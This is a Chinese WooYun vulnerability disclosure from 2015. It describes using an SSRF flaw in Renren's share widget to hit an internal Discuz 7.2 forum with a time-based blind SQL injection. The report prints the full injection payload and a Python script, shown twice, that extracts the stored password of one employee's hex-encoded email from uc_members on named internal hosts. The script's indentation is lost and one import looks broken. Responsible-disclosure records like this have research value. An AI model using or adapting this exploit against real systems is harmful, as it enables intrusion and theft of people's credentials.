破壳企业应急安全(防御方向)课程 应急响应 勒索病毒 挖矿木马 DDOS 日志分析

利用人人网某处设计缺陷攻击内网应用

编号98894
Urlhttp://www.wooyun.org/bug.php?action=view&id=98894
漏洞状态厂商已经确认
漏洞标题利用人人网某处设计缺陷攻击内网应用
漏洞类型设计缺陷/逻辑错误
厂商人人网
白帽子zcy
提交日期2015-03-02 14:59:00
公开日期2015-04-16 15:00:00
修复时间(not set)
确认时间2015-03-02 00:00:00
Confirm Spend0
漏洞标签设计缺陷/边界绕过
关注数0
收藏数0
白帽评级
白帽自评rank20
厂商评级
厂商评rank18
漏洞简介
利用人人网某处设计缺陷攻击内网应用
漏洞细节

http://wooyun.org/bugs/wooyun-2015-091798中得ssrf可用短连接绕过。
http://widget.renren.com/dialog/share?resourceUrl=http://dwz.cn/CvchS
这样的链接就可以读取内网的一些信息。通过某位大神得知了人人的一些内网信息。突然想到是否可以通过ssrf攻击内网的一些应用,并得到内网的信息呢?有了问题就得去验证
已知http://daxue.renren-inc.com/bbs是discuz 7.2的程序。那可能存在faq.php的注入。进行短连接的转换以后,使用http://widget.renren.com/dialog/share?resourceUrl=http://dwz.cn/CvchS进行测试,发现漏洞存在但是没有我们想要的结果。

QQ20150228-2.png


看到这样的结果我就不开心了。没有我想要的东西。不开森!!!那我就改下语句试试延时盲注。也许就有我想要的东西呢。然后写了个脚本就进行测试。数据就出来了,就是速度慢了点。不过验证了攻击思路确实是可以的

{{J`~9LA$LQ[N6_9IM1WV[O.jpg


感谢某大神帮忙验证了思路写了脚本。我是渣渣。

import codecs
import string
import sys
from urllib.parse import quote
import http_
for c in string.digits+string.ascii_lowercase:
h = hex(ord(c))
payload = "http://daxue.renren-inc.com/bbs/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (if(mid((select password from uc_members where email=0x6572796f6e672e6b6f6e674072656e72656e2d696e632e636f6d), "+sys.argv[1]+", 1) like "+h+", sleep(3), false))%23"
base64_payload = quote(codecs.encode(payload.encode(), "base64").decode().strip())
url = "http://widget.renren.com/dialog/share?resourceUrl=http://xxx.xxx.xx/"+base64_payload
with http_.get(url) as request:
request.encoding = request.apparent_encoding
if "Discuz" not in request.text:
# print(url)
print(c)
break

POC

http://wooyun.org/bugs/wooyun-2015-091798中得ssrf可用短连接绕过。
http://widget.renren.com/dialog/share?resourceUrl=http://dwz.cn/CvchS
这样的链接就可以读取内网的一些信息。通过某位大神得知了人人的一些内网信息。突然想到是否可以通过ssrf攻击内网的一些应用,并得到内网的信息呢?有了问题就得去验证
已知http://daxue.renren-inc.com/bbs是discuz 7.2的程序。那可能存在faq.php的注入。进行短连接的转换以后,使用http://widget.renren.com/dialog/share?resourceUrl=http://dwz.cn/CvchS进行测试,发现漏洞存在但是没有我们想要的结果。

QQ20150228-2.png


看到这样的结果我就不开心了。没有我想要的东西。不开森!!!那我就改下语句试试延时盲注。也许就有我想要的东西呢。然后写了个脚本就进行测试。数据就出来了,就是速度慢了点。不过验证了攻击思路确实是可以的

{{J`~9LA$LQ[N6_9IM1WV[O.jpg


感谢某大神帮忙验证了思路写了脚本。我是渣渣。

import codecs
import string
import sys
from urllib.parse import quote
import http_
for c in string.digits+string.ascii_lowercase:
h = hex(ord(c))
payload = "http://daxue.renren-inc.com/bbs/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (if(mid((select password from uc_members where email=0x6572796f6e672e6b6f6e674072656e72656e2d696e632e636f6d), "+sys.argv[1]+", 1) like "+h+", sleep(3), false))%23"
base64_payload = quote(codecs.encode(payload.encode(), "base64").decode().strip())
url = "http://widget.renren.com/dialog/share?resourceUrl=http://xxx.xxx.xx/"+base64_payload
with http_.get(url) as request:
request.encoding = request.apparent_encoding
if "Discuz" not in request.text:
# print(url)
print(c)
break

修复方案

修复ssrf

状态信息 2015-03-02: 细节已通知厂商并且等待厂商处理中
2015-03-02: 厂商已经确认,细节仅向厂商公开
2015-03-12: 细节向核心白帽子及相关领域专家公开
2015-03-22: 细节向普通白帽子公开
2015-04-01: 细节向实习白帽子公开
2015-04-16: 细节向公众公开
厂商回复谢谢,赞利用思路
回应信息危害等级:高漏洞Rank:18 确认时间:2015-03-02 15:02
Showing 1-7 of 7 items.
评论内容评论人点赞数评论时间

思路点赞

屠龙宝刀点击就送02015-04-16 22:02:00

@he1renyagao 是的

zcy02015-03-02 18:24:00

@zcy 这个确实可以,ssrf 有一个扫内网的工具,也是利用这个原理,但效果很不理想。跟网络关系很大

he1renyagao02015-03-02 18:09:00

@he1renyagao 延时盲注

zcy02015-03-02 17:12:00

卧槽

xsser02015-03-02 16:04:00

@浩天 回显问题能解决??

he1renyagao02015-03-02 15:43:00

利用ssrf来sql注入内网服务????哈哈

浩天02015-03-02 15:02:00